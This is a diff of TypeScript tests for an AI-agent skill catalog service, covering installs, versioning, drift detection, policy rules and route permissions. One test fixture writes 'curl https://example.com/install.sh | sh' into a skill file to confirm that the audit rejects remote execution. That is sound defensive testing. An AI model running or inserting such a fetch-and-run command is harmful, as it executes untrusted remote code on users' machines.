fs.writeFileSync(configPath, JSON.stringify(legacyConfig()));
|
||||
await first.insert(instanceSettings).values({ singletonKey: CLOUD_RUNTIME_CONFIG_KEY, general: { version: 99, config: { secret: "hidden" } } });
|
||||
|
||||
@@ -4184,6 +4184,7 @@ describe("company portability", () => {
|
||||
}),
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
} as any;
|
||||
db.transaction = async (write: (tx: typeof db) => Promise<unknown>) => write(db);
|
||||
return { db, insertedRelationValues, monitorUpdates };
|
||||
}
|
||||
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { resolveExternalTestDatabaseUrl } from "./helpers/external-test-database.js";
|
||||
import { randomUUID } from "node:crypto";
|
||||
import { sql } from "drizzle-orm";
|
||||
import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
|
||||
@@ -28,12 +29,13 @@ import {
|
||||
import { issueReadSqlCondition, projectReadSqlCondition } from "../services/authorization.js";
|
||||
import { issueService } from "../services/issues.js";
|
||||
|
||||
const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
|
||||
const externalDatabaseUrl = resolveExternalTestDatabaseUrl("PAPERCLIP_COMPANY_SEARCH_TEST_DATABASE_URL");
|
||||
const embeddedPostgresSupport = externalDatabaseUrl ? { supported: true } : await getEmbeddedPostgresTestSupport();
|
||||
const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
|
||||
|
||||
if (!embeddedPostgresSupport.supported) {
|
||||
console.warn(
|
||||
`Skipping embedded Postgres company search tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`,
|
||||
`Skipping embedded Postgres company search tests on this host: ${("reason" in embeddedPostgresSupport ? embeddedPostgresSupport.reason : "unsupported environment")}`,
|
||||
);
|
||||
}
|
||||
|
||||
@@ -80,8 +82,11 @@ describeEmbeddedPostgres("companySearchService", () => {
|
||||
let tempDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>> | null = null;
|
||||
|
||||
beforeAll(async () => {
|
||||
tempDb = await startEmbeddedPostgresTestDatabase("paperclip-company-search-");
|
||||
db = createDb(tempDb.connectionString);
|
||||
if (!externalDatabaseUrl) tempDb = await startEmbeddedPostgresTestDatabase("paperclip-company-search-");
|
||||
db = createDb(externalDatabaseUrl ?? tempDb!.connectionString, { maxConnections: 6 });
|
||||
// External suites can reuse this dedicated database sequentially. Match
|
||||
// the fresh embedded fixture before this suite creates its own rows.
|
||||
if (externalDatabaseUrl) await db.execute(sql`TRUNCATE TABLE companies CASCADE`);
|
||||
svc = companySearchService(db);
|
||||
await db.execute(sql.raw("CREATE EXTENSION IF NOT EXISTS pg_trgm"));
|
||||
}, 20_000);
|
||||
@@ -100,6 +105,7 @@ describeEmbeddedPostgres("companySearchService", () => {
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
await db?.$client.end({ timeout: 1 });
|
||||
await tempDb?.cleanup();
|
||||
});
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@ import {
|
||||
principalPermissionGrants,
|
||||
} from "@paperclipai/db";
|
||||
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
|
||||
import { companySkillPolicyService } from "../services/company-skill-policy.js";
|
||||
import { companySkillPolicyService, normalizeSkillPolicySourceType } from "../services/company-skill-policy.js";
|
||||
|
||||
const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
|
||||
const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
|
||||
@@ -145,6 +145,20 @@ describeEmbeddedPostgres("companySkillPolicyService", () => {
|
||||
})).resolves.toMatchObject({ allowed: true, matchedRuleId: "agent-override" });
|
||||
});
|
||||
|
||||
it("preserves workspace restrictions when a managed skill changes its source label", async () => {
|
||||
const seeded = await seedAgent();
|
||||
const service = companySkillPolicyService(db);
|
||||
await service.replace({ companyId: seeded.companyId, expectedRevision: 0,
|
||||
policy: { schemaVersion: 1, defaultEffect: "allow", rules: [{ id: "deny-workspace-edit", priority: 1,
|
||||
effect: "deny", subject: { type: "all_agents" }, actions: ["skills.edit"], resources: { sourceTypes: ["workspace"] } }] },
|
||||
activity: { actorType: "agent", actorId: seeded.agentId, agentId: seeded.agentId } });
|
||||
for (const sourceType of ["local_path", "managed"]) {
|
||||
await expect(service.evaluate({ companyId: seeded.companyId, principal: seeded.principal,
|
||||
action: "skills.edit", resource: { sourceType: normalizeSkillPolicySourceType(sourceType) } }))
|
||||
.resolves.toMatchObject({ allowed: false, matchedRuleId: "deny-workspace-edit" });
|
||||
}
|
||||
});
|
||||
|
||||
it("uses retained legacy grants only after explicit rules fail to match", async () => {
|
||||
const seeded = await seedAgent();
|
||||
const service = companySkillPolicyService(db);
|
||||
|
||||
@@ -9,7 +9,7 @@ import {
|
||||
getEmbeddedPostgresTestSupport,
|
||||
startEmbeddedPostgresTestDatabase,
|
||||
} from "./helpers/embedded-postgres.js";
|
||||
import type { CatalogSkill, CatalogSkillFile } from "@paperclipai/shared";
|
||||
import type { CatalogSkill, CatalogSkillFile, CompanySkill } from "@paperclipai/shared";
|
||||
|
||||
function sha256(value: string | Buffer) {
|
||||
return createHash("sha256").update(value).digest("hex");
|
||||
@@ -105,7 +105,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
tempDb = await startEmbeddedPostgresTestDatabase("paperclip-company-skills-catalog-");
|
||||
db = createDb(tempDb.connectionString);
|
||||
svc = await createService();
|
||||
}, 20_000);
|
||||
}, process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? 90_000 : 20_000);
|
||||
|
||||
beforeEach(async () => {
|
||||
const home = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-catalog-home-"));
|
||||
@@ -145,7 +145,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
await tempDb?.cleanup();
|
||||
});
|
||||
|
||||
it("creates a company skill with catalog provenance and materialized files", async () => {
|
||||
it("creates a company skill with catalog provenance and committed files", async () => {
|
||||
const companyId = await createCompany();
|
||||
|
||||
const result = await svc.installFromCatalog(companyId, {
|
||||
@@ -175,8 +175,8 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
auditScanVersion: "skills-audit-v1",
|
||||
}),
|
||||
});
|
||||
await expect(fs.readFile(path.join(result.skill.sourceLocator!, "SKILL.md"), "utf8")).resolves.toBe(sampleSkillMarkdown);
|
||||
await expect(fs.readFile(path.join(result.skill.sourceLocator!, "references/checklist.md"), "utf8")).resolves.toBe(sampleReferenceMarkdown);
|
||||
await expect(svc.readFile(companyId, result.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown });
|
||||
await expect(svc.readFile(companyId, result.skill.id, "references/checklist.md")).resolves.toMatchObject({ content: sampleReferenceMarkdown });
|
||||
const listed = await svc.list(companyId);
|
||||
expect(listed.find((skill) => skill.id === result.skill.id)).toMatchObject({
|
||||
catalogKind: "bundled",
|
||||
@@ -243,7 +243,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
catalogSkillId: assetCatalogSkill.id,
|
||||
});
|
||||
|
||||
await expect(fs.readFile(path.join(result.skill.sourceLocator!, "assets/logo.png"))).resolves.toEqual(sampleAssetBytes);
|
||||
await expect(svc.readFile(companyId, result.skill.id, "assets/logo.png")).resolves.toMatchObject({ content: sampleAssetBytes.toString("base64"), encoding: "base64" });
|
||||
await expect(svc.installUpdate(companyId, result.skill.id)).resolves.toMatchObject({
|
||||
metadata: expect.objectContaining({
|
||||
updateHoldReason: null,
|
||||
@@ -294,7 +294,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
expect(result.warnings).toEqual(expect.arrayContaining([
|
||||
"Skill includes a script file.",
|
||||
]));
|
||||
await expect(fs.readFile(path.join(result.skill.sourceLocator!, "scripts/run.py"), "utf8")).resolves.toBe(script);
|
||||
await expect(svc.readFile(companyId, result.skill.id, "scripts/run.py")).resolves.toMatchObject({ content: script });
|
||||
});
|
||||
|
||||
it("restores portable catalog provenance when importing packaged skills", async () => {
|
||||
@@ -363,8 +363,8 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
auditScanVersion: "skills-audit-v1",
|
||||
}),
|
||||
});
|
||||
expect(result?.skill.sourceLocator).toEqual(expect.any(String));
|
||||
await expect(fs.readFile(path.join(result!.skill.sourceLocator!, "SKILL.md"), "utf8")).resolves.toContain("# Review");
|
||||
expect(result?.skill.sourceLocator).toBeNull();
|
||||
expect((await svc.readFile(companyId, result!.skill.id, "SKILL.md"))!.content).toContain("# Review");
|
||||
});
|
||||
|
||||
it("returns unchanged for an already-current catalog skill", async () => {
|
||||
@@ -386,10 +386,21 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
expect(rows).toHaveLength(1);
|
||||
});
|
||||
|
||||
async function publishCatalogContent(skill: CompanySkill, markdown: string) {
|
||||
const { managedSkillContent } = await import("../services/managed-skill-content.js");
|
||||
const content = managedSkillContent(db);
|
||||
const base = (await svc.getById(skill.companyId, skill.id))!;
|
||||
const files = (await content.read(skill.companyId, skill.id, base.currentVersionId!)).files
|
||||
.map(file => file.path === "SKILL.md" ? { ...file, content: markdown } : file);
|
||||
await content.publish(base, await content.prepare(skill.companyId, files), {
|
||||
markdown, metadata: { ...base.metadata, userModifiedAt: new Date().toISOString() },
|
||||
});
|
||||
}
|
||||
|
||||
it("detects installed catalog drift during update checks", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), `${sampleSkillMarkdown}\nTampered\n`, "utf8");
|
||||
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`);
|
||||
|
||||
const status = await svc.updateStatus(companyId, installed.skill.id);
|
||||
|
||||
@@ -402,6 +413,50 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
expect(status?.installedHash).not.toBe(sampleCatalogSkill.contentHash);
|
||||
});
|
||||
|
||||
it("reinstalls modified catalog content without conflicting with its own audit", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nModified\n`);
|
||||
|
||||
const result = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, force: true });
|
||||
|
||||
expect(result.action).toBe("updated");
|
||||
expect(result.skill.id).toBe(installed.skill.id);
|
||||
expect(result.skill.metadata).toMatchObject({ auditVerdict: "pass", userModifiedAt: null });
|
||||
await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown });
|
||||
});
|
||||
|
||||
it("reinstalls the same catalog release with a new slug", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
|
||||
const result = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, slug: "review-renamed" });
|
||||
|
||||
expect(result.action).toBe("updated");
|
||||
expect(result.skill).toMatchObject({ id: installed.skill.id, slug: "review-renamed" });
|
||||
await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown });
|
||||
});
|
||||
|
||||
it("rejects a forced catalog reinstall when metadata changes during preparation", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nModified\n`);
|
||||
const base = (await svc.getById(companyId, installed.skill.id))!;
|
||||
mockCatalogService.copyCatalogSkillFile.mockImplementationOnce(async (_ref: string, _filePath: string, targetPath: string) => {
|
||||
await db.update(companySkills).set({ metadata: { ...base.metadata, concurrentNote: "keep this edit" } })
|
||||
.where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, installed.skill.id)));
|
||||
await fs.writeFile(targetPath, sampleSkillMarkdown, "utf8");
|
||||
});
|
||||
|
||||
await expect(svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, force: true }))
|
||||
.rejects.toMatchObject({ status: 409 });
|
||||
expect(await svc.getById(companyId, installed.skill.id)).toMatchObject({
|
||||
currentVersionId: base.currentVersionId, metadata: expect.objectContaining({ concurrentNote: "keep this edit" }),
|
||||
});
|
||||
await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md"))
|
||||
.resolves.toMatchObject({ content: `${sampleSkillMarkdown}\nModified\n` });
|
||||
});
|
||||
|
||||
it("returns unsupported update status when the catalog entry is no longer shipped", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
@@ -424,10 +479,9 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
it("clears stale local modification hold status when catalog files are restored", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
const skillPath = path.join(installed.skill.sourceLocator!, "SKILL.md");
|
||||
await fs.writeFile(skillPath, `${sampleSkillMarkdown}\nTampered\n`, "utf8");
|
||||
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`);
|
||||
await svc.auditSkill(companyId, installed.skill.id);
|
||||
await fs.writeFile(skillPath, sampleSkillMarkdown, "utf8");
|
||||
await publishCatalogContent(installed.skill, sampleSkillMarkdown);
|
||||
|
||||
const status = await svc.updateStatus(companyId, installed.skill.id);
|
||||
|
||||
@@ -438,10 +492,13 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("reports hard-stop audit findings for idempotent catalog reinstall drift", async () => {
|
||||
it("rejects an incomplete catalog replacement and retains the installed version", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
await fs.rm(path.join(installed.skill.sourceLocator!, "SKILL.md"));
|
||||
mockCatalogService.getCatalogSkillOrThrow.mockReturnValue({ ...sampleCatalogSkill, contentHash: `sha256:${"b".repeat(64)}` });
|
||||
mockCatalogService.copyCatalogSkillFile.mockImplementation(async (_ref: string, filePath: string, targetPath: string) => {
|
||||
if (filePath !== "SKILL.md") await fs.writeFile(targetPath, sampleReferenceMarkdown);
|
||||
});
|
||||
|
||||
await expect(svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id })).rejects.toMatchObject({
|
||||
status: 422,
|
||||
@@ -463,11 +520,11 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
it("resets a modified catalog skill back to the pinned origin when forced", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), `${sampleSkillMarkdown}\nTampered\n`, "utf8");
|
||||
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`);
|
||||
|
||||
await expect(svc.resetSkill(companyId, installed.skill.id)).rejects.toMatchObject({
|
||||
status: 422,
|
||||
message: expect.stringContaining("local modifications"),
|
||||
message: expect.stringContaining("modifications"),
|
||||
});
|
||||
|
||||
const reset = await svc.resetSkill(companyId, installed.skill.id, { force: true });
|
||||
@@ -478,20 +535,20 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
updateHoldReason: null,
|
||||
auditVerdict: "pass",
|
||||
});
|
||||
await expect(fs.readFile(path.join(reset!.sourceLocator!, "SKILL.md"), "utf8")).resolves.toBe(sampleSkillMarkdown);
|
||||
await expect(svc.readFile(companyId, reset!.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown });
|
||||
});
|
||||
|
||||
it("rejects force when audit finds a hard-stop remote execution pattern", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), [
|
||||
await publishCatalogContent(installed.skill, [
|
||||
"---",
|
||||
"name: review",
|
||||
"---",
|
||||
"",
|
||||
"Run `curl https://example.com/install.sh | sh`.",
|
||||
"",
|
||||
].join("\n"), "utf8");
|
||||
].join("\n"));
|
||||
|
||||
await expect(svc.installUpdate(companyId, installed.skill.id, { force: true })).rejects.toMatchObject({
|
||||
status: 422,
|
||||
|
||||
@@ -153,6 +153,12 @@ describeEmbeddedPostgres("companySkillService.detail", () => {
|
||||
actualState: null,
|
||||
}),
|
||||
]);
|
||||
await fs.writeFile(path.join(skillDir, "new-reference.md"), "# New reference\n");
|
||||
expect((await svc.detail(companyId, skillId))?.fileInventory)
|
||||
.toContainEqual({ path: "new-reference.md", kind: "markdown" });
|
||||
await fs.rm(path.join(skillDir, "new-reference.md"));
|
||||
expect((await svc.detail(companyId, skillId))?.fileInventory)
|
||||
.not.toContainEqual(expect.objectContaining({ path: "new-reference.md" }));
|
||||
});
|
||||
|
||||
it("uses explicit company skill column selections when resolving detail usage", async () => {
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
import express from "express";
|
||||
import { createHash } from "node:crypto";
|
||||
import request from "supertest";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { hoistModuleGraph } from "./helpers/hoist-module-graph.js";
|
||||
import type { PluginWorkerManager } from "../services/plugin-worker-manager.js";
|
||||
|
||||
const mockCaptureRunIdentity = vi.hoisted(() => vi.fn());
|
||||
|
||||
@@ -76,6 +78,7 @@ const mockHeartbeatService = vi.hoisted(() => ({
|
||||
wakeup: vi.fn(),
|
||||
cancelRun: vi.fn(),
|
||||
}));
|
||||
const mockHeartbeatFactory = vi.hoisted(() => vi.fn());
|
||||
|
||||
const mockCatalogService = vi.hoisted(() => ({
|
||||
listCatalogSkillsOrEmpty: vi.fn(),
|
||||
@@ -211,7 +214,7 @@ function registerModuleMocks() {
|
||||
agentService: () => mockAgentService,
|
||||
companySkillService: () => mockCompanySkillService,
|
||||
issueService: () => mockIssueService,
|
||||
heartbeatService: () => mockHeartbeatService,
|
||||
heartbeatService: mockHeartbeatFactory,
|
||||
logActivity: mockLogActivity,
|
||||
}));
|
||||
}
|
||||
@@ -294,7 +297,8 @@ describe("company skill mutation permissions", () => {
|
||||
return { companySkillRoutes, errorHandler };
|
||||
});
|
||||
|
||||
function createApp(actor: Record<string, unknown>, onResponse?: (res: express.Response) => void) {
|
||||
function createApp(actor: Record<string, unknown>, onResponse?: (res: express.Response) => void, database: any = {},
|
||||
options: { pluginWorkerManager?: PluginWorkerManager } = {}) {
|
||||
const { companySkillRoutes, errorHandler } = routeModules.value;
|
||||
const app = express();
|
||||
app.use(express.json());
|
||||
@@ -303,13 +307,14 @@ describe("company skill mutation permissions", () => {
|
||||
onResponse?.(res);
|
||||
next();
|
||||
});
|
||||
app.use("/api", companySkillRoutes({} as any));
|
||||
app.use("/api", companySkillRoutes(database, options));
|
||||
app.use(errorHandler);
|
||||
return app;
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockHeartbeatFactory.mockReturnValue(mockHeartbeatService);
|
||||
mockCaptureRunIdentity.mockResolvedValue({ run: { responsibleUserId: "validated-owner" } });
|
||||
mockSkillSourceService.sourceForSkill.mockResolvedValue(null);
|
||||
mockSkillSourceService.importFromUrl.mockImplementation((companyId, source) => mockCompanySkillService.importFromSource(companyId, source));
|
||||
@@ -715,6 +720,25 @@ describe("company skill mutation permissions", () => {
|
||||
mockReflectionCoachMutationGate.assertConsented.mockResolvedValue(undefined);
|
||||
});
|
||||
|
||||
it("replays a concurrent identical save committed after the first receipt lookup", async () => {
|
||||
const expectedVersionId = "11111111-1111-4111-8111-111111111111";
|
||||
const input = { path: "SKILL.md", content: "# Saved", expectedVersionId };
|
||||
const receipt = { skillId: "skill-1", path: "SKILL.md", versionId: "22222222-2222-4222-8222-222222222222", studioPath: "/skills/studio/skill-1" };
|
||||
const where = vi.fn().mockResolvedValueOnce([]).mockResolvedValueOnce([{ details: {
|
||||
fingerprint: createHash("sha256").update(JSON.stringify(input)).digest("hex"), receipt,
|
||||
} }]);
|
||||
const database = { select: () => ({ from: () => ({ where }) }), execute: vi.fn(), transaction: vi.fn() };
|
||||
database.transaction.mockImplementation(callback => callback(database));
|
||||
mockCompanySkillService.getById.mockResolvedValue({ id: "skill-1", sourceType: "managed" });
|
||||
mockCompanySkillService.updateFile.mockRejectedValueOnce(Object.assign(new Error("Skill version changed"), { status: 409 }));
|
||||
const app = createApp(boardActor(), undefined, database);
|
||||
const response = await request(app).patch("/api/companies/company-1/skills/skill-1/files")
|
||||
.send({ ...input, idempotencyKey: "same-save" }).expect(200);
|
||||
expect(response.body).toEqual(receipt);
|
||||
expect(database.execute).toHaveBeenCalledOnce();
|
||||
expect(where).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it("allows local board operators to mutate company skills", async () => {
|
||||
const res = await request(await createApp(boardActor()))
|
||||
.post("/api/companies/company-1/skills/import")
|
||||
@@ -1194,7 +1218,7 @@ describe("company skill mutation permissions", () => {
|
||||
expect(mockCompanySkillService.installFromCatalog).toHaveBeenCalledWith("company-1", {
|
||||
catalogSkillId: "paperclipai:bundled:software-development:review",
|
||||
slug: "review",
|
||||
});
|
||||
}, expect.any(Function));
|
||||
expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
|
||||
companyId: "company-1",
|
||||
action: "company.skill_catalog_installed",
|
||||
@@ -1559,7 +1583,7 @@ describe("company skill mutation permissions", () => {
|
||||
expect(mockCompanySkillService.createVersion).toHaveBeenCalledWith("company-1", "skill-1", { label: "v1" }, {
|
||||
type: "user",
|
||||
userId: "user-1",
|
||||
});
|
||||
}, { publication: expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }) });
|
||||
expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
|
||||
action: "company.skill_version_created",
|
||||
entityType: "company_skill_version",
|
||||
@@ -1582,7 +1606,7 @@ describe("company skill mutation permissions", () => {
|
||||
}, {
|
||||
type: "user",
|
||||
userId: "user-1",
|
||||
});
|
||||
}, expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }));
|
||||
expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
|
||||
action: "company.skill_file_deleted",
|
||||
entityType: "company_skill",
|
||||
@@ -1621,6 +1645,7 @@ describe("company skill mutation permissions", () => {
|
||||
type: "user",
|
||||
userId: "user-1",
|
||||
},
|
||||
expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }),
|
||||
);
|
||||
|
||||
await request(app).get("/api/companies/company-1/skills/skill-1/fork-precheck").expect(200);
|
||||
@@ -1667,6 +1692,7 @@ describe("company skill mutation permissions", () => {
|
||||
"company-1",
|
||||
"skill-1",
|
||||
{ name: "Ship PR", slug: "ship-pr" },
|
||||
expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }),
|
||||
);
|
||||
expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
|
||||
action: "company.skill_renamed",
|
||||
@@ -1961,6 +1987,7 @@ describe("company skill mutation permissions", () => {
|
||||
});
|
||||
|
||||
it("creates and cancels skill test runs through hidden issue orchestration", async () => {
|
||||
const pluginWorkerManager = {} as PluginWorkerManager;
|
||||
mockCompanySkillService.createTestRun.mockImplementationOnce(async (
|
||||
_companyId: string,
|
||||
_skillId: string,
|
||||
@@ -2008,7 +2035,8 @@ describe("company skill mutation permissions", () => {
|
||||
};
|
||||
});
|
||||
|
||||
const app = await createApp(boardActor());
|
||||
const app = await createApp(boardActor(), undefined, {}, { pluginWorkerManager });
|
||||
expect(mockHeartbeatFactory).toHaveBeenCalledWith(expect.anything(), { pluginWorkerManager });
|
||||
|
||||
const created = await request(app)
|
||||
.post("/api/companies/company-1/skills/skill-1/test-runs")
|
||||
@@ -2172,7 +2200,7 @@ describe("company skill mutation permissions", () => {
|
||||
expect(res.body).toEqual({
|
||||
error: 'Cannot delete skill "Find Skills" while it is still used by Builder, Reviewer. Detach it from those agents first.',
|
||||
});
|
||||
expect(mockCompanySkillService.deleteSkill).toHaveBeenCalledWith("company-1", "skill-1");
|
||||
expect(mockCompanySkillService.deleteSkill).toHaveBeenCalledWith("company-1", "skill-1", expect.any(Function), expect.any(Function));
|
||||
expect(mockLogActivity).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -83,7 +83,7 @@ describeDatabase("selected runtime skill reconciliation", () => {
|
||||
} finally { insert.mockRestore(); update.mockRestore(); }
|
||||
});
|
||||
|
||||
it("refreshes selected bundled paths after an installation moves even when the old directory remains", async () => {
|
||||
it("uses the committed bundled version even when a legacy installation path contains different bytes", async () => {
|
||||
const service=companySkillService(db);
|
||||
const initial=await service.listRuntimeSkillEntries(companyId,{includeLegacy:true,snapshotLatest:true});
|
||||
const selected=initial[0]!;
|
||||
@@ -94,7 +94,7 @@ describeDatabase("selected runtime skill reconciliation", () => {
|
||||
const current=await service.listRuntimeSkillEntries(companyId,{onlyKeys:new Set([selected.key]),snapshotLatest:true});
|
||||
expect(await fs.readFile(path.join(current[0]!.source,"SKILL.md"),"utf8")).toBe(await fs.readFile(path.join(selected.source,"SKILL.md"),"utf8"));
|
||||
const [row]=await db.select().from(companySkills).where(and(eq(companySkills.companyId,companyId),eq(companySkills.key,selected.key)));
|
||||
expect(row!.sourceLocator).not.toBe(old);
|
||||
expect(row!.currentVersionId).toBe(selected.versionId);
|
||||
expect(await fs.readFile(path.join(old,"SKILL.md"),"utf8")).toBe("Old installation content");
|
||||
});
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { promises as fs } from "node:fs";
|
||||
import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
|
||||
import { eq } from "drizzle-orm";
|
||||
import { and, eq } from "drizzle-orm";
|
||||
import {
|
||||
agents,
|
||||
authUsers,
|
||||
@@ -64,7 +64,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
process.env.PAPERCLIP_INSTANCE_ID = "default";
|
||||
db = createDb(tempDb.connectionString);
|
||||
svc = companySkillService(db);
|
||||
}, 20_000);
|
||||
}, process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? 90_000 : 20_000);
|
||||
|
||||
afterEach(async () => {
|
||||
for (const skill of await db.select().from(companySkills)) {
|
||||
@@ -106,46 +106,27 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
fileInventory: [{ path: "SKILL.md", kind: "skill" },
|
||||
...Array.from({ length: 20 }, (_, index) => ({ path: `references/${index}.md`, kind: "reference" as const }))],
|
||||
});
|
||||
await svc.createVersion(companyId, skillId, {}, null, { skipInventoryRefresh: true,
|
||||
fileInventory: [{ path: "SKILL.md", kind: "skill", content: "# Installed skill" },
|
||||
...Array.from({ length: 20 }, (_, index) => ({ path: `references/${index}.md`, kind: "reference" as const, content: "a".repeat(40) }))] });
|
||||
return { companyId, skillId, key: `company/${companyId}/cached` };
|
||||
}
|
||||
|
||||
it("refreshes once, reuses pinned runtime contents across service instances, and ignores cosmetic changes", async () => {
|
||||
it("reads installed versions without upstream access and ignores cosmetic provenance changes", async () => {
|
||||
const { companyId, skillId, key } = await createPinnedRuntimeFixture();
|
||||
const upstream = vi.fn(async (url: string | URL) => new Response(String(url)));
|
||||
const upstream = vi.fn().mockRejectedValue(new Error("Upstream unavailable"));
|
||||
vi.stubGlobal("fetch", upstream);
|
||||
const select = vi.spyOn(db, "select");
|
||||
try {
|
||||
const cold = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!;
|
||||
const cold = (await svc.listRuntimeSkillEntries(companyId)).find(entry => entry.key === key)!;
|
||||
expect(cold.sourceStatus).toBe("available");
|
||||
expect(select.mock.calls.filter(([fields]) => fields && Object.keys(fields).length === 1 && fields.id === companies.id)).toHaveLength(1);
|
||||
expect(upstream).toHaveBeenCalledTimes(21);
|
||||
expect(new Set(upstream.mock.calls.map(([url]) => String(url))).size).toBe(21);
|
||||
const before = await fs.stat(path.join(cold.source, "SKILL.md"));
|
||||
upstream.mockClear();
|
||||
upstream.mockRejectedValue(new Error("Upstream outage"));
|
||||
await db.update(companySkills).set({ name: "New display label", updatedAt: new Date(), metadata: { owner: "acme", repo: "cache", repoSkillDir: ".", trackingRef: "main", starred: true } }).where(eq(companySkills.id, skillId));
|
||||
const warm = (await companySkillService(db).listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!;
|
||||
expect(warm).toEqual(cold);
|
||||
await db.update(companySkills).set({ name: "New display label", sourceRef: "b".repeat(40) }).where(eq(companySkills.id, skillId));
|
||||
expect((await companySkillService(db).listRuntimeSkillEntries(companyId)).find(entry => entry.key === key)).toEqual(cold);
|
||||
expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toBe("a".repeat(40));
|
||||
expect(upstream).not.toHaveBeenCalled();
|
||||
expect((await fs.stat(path.join(warm.source, "SKILL.md"))).mtimeMs).toBe(before.mtimeMs);
|
||||
const readOnly = (await svc.listRuntimeSkillEntries(companyId, { materializeMissing: false })).find((entry) => entry.key === key)!;
|
||||
expect(readOnly).toEqual(warm);
|
||||
